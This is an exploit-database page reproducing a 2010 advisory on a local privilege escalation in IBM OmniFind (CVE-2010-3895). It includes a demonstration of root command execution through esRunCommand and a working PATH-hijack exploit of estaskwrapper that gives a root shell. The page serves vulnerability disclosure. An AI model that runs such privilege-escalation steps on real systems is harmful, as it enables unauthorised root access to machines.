Lucene search
K

IBM OmniFind Privilege Escalation Vulnerability

🗓️ 10 Nov 2010 00:00:00Reported by Fatih KilicType 
zdt
 zdt
🔗 0day.today👁 22 Views

IBM OmniFind Privilege Escalation Vulnerability, root SUID bits set for esRunCommand and estaskwrapper, potential to run commands as roo

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2010-3895
12 Nov 201021:00
cve
Cvelist
CVE-2010-3895
12 Nov 201021:00
cvelist
Exploit DB
IBM OmniFind - Local Privilege Escalation
9 Nov 201000:00
exploitdb
EUVD
EUVD-2010-3873
7 Oct 202500:30
euvd
exploitpack
IBM OmniFind - Local Privilege Escalation
9 Nov 201000:00
exploitpack
NVD
CVE-2010-3895
12 Nov 201022:00
nvd
Packet Storm
IBM OmniFind Cross Site Scripting / Privilege Escalation
10 Nov 201000:00
packetstorm
Prion
Command injection
12 Nov 201022:00
prion
Prion
Design/Logic Flaw
12 Nov 201022:00
prion
securityvulns
IBM OmniFind - several vulnerabilities
18 Nov 201000:00
securityvulns
Rows per page
===============================================
IBM OmniFind Privilege Escalation Vulnerability
===============================================

* Privilege escalation in two applications (CVE-2010-3895)
 
Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.
 
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------
 
 
»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
   
  [email protected]:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------
 
 
 
The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
-------------------------------------------------------------------------
    main() {
      int auth = 0;
      ...
      if (argv[1] == "estasklight") {
        auth = 1;
          ...
          path = getenv("ES_LIBRARY_PATH");
          if (path) {
            setenv("LD_LIBRARY_PATH", path);
            setenv("LIBPATH", path);
            ...
            if (auth) {
              execvp ("estasklight", args);
            }
            ...
          }
        ...
      }
    ...
    }
-------------------------------------------------------------------------
 
 
Explanation of the code:
 
»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.
 
 
 
Exploit for running /bin/sh
-------------------------------------------------------------------------
[email protected]:~> cp /bin/sh ~/bin/estasklight
[email protected]:~> export ES_LIBRARY_PATH=/home/joemueller
[email protected]:~> export PATH=/home/joemueller/bin:$PATH
[email protected]:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Nov 2010 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.01114
22